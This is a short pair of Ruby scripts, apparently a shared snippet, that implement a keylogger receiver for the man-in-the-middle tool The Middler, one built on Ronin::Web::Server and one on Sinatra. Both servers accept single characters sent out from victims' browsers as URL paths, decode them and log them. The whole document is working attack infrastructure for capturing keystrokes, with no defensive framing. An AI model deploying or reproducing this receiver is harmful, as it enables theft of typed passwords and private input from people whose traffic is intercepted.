A Keylogger receiver for The Middler using Ronin::Web::Server or Sinatra

middler_keylogger.rb

gem 'ronin-web'
require 'ronin/web/server'
require 'uri'

include Ronin

Web::Server.start do
  paths_like(/^\/(.|%[0-9a-fA-F]{1,2})$/) do |env|
    char = URI.decode(env['PATH_INFO'][1..-1])
    puts "got char: #{char.dump}"

    [200, {:content_type => 'text/css'}, []]
  end
end

sinatra_keylogger.rb

require 'sinatra'

get "/:char" do |char|
  char = URI.decode(char)
  puts "got char: #{char.dump}" if char.length == 1

  ""
end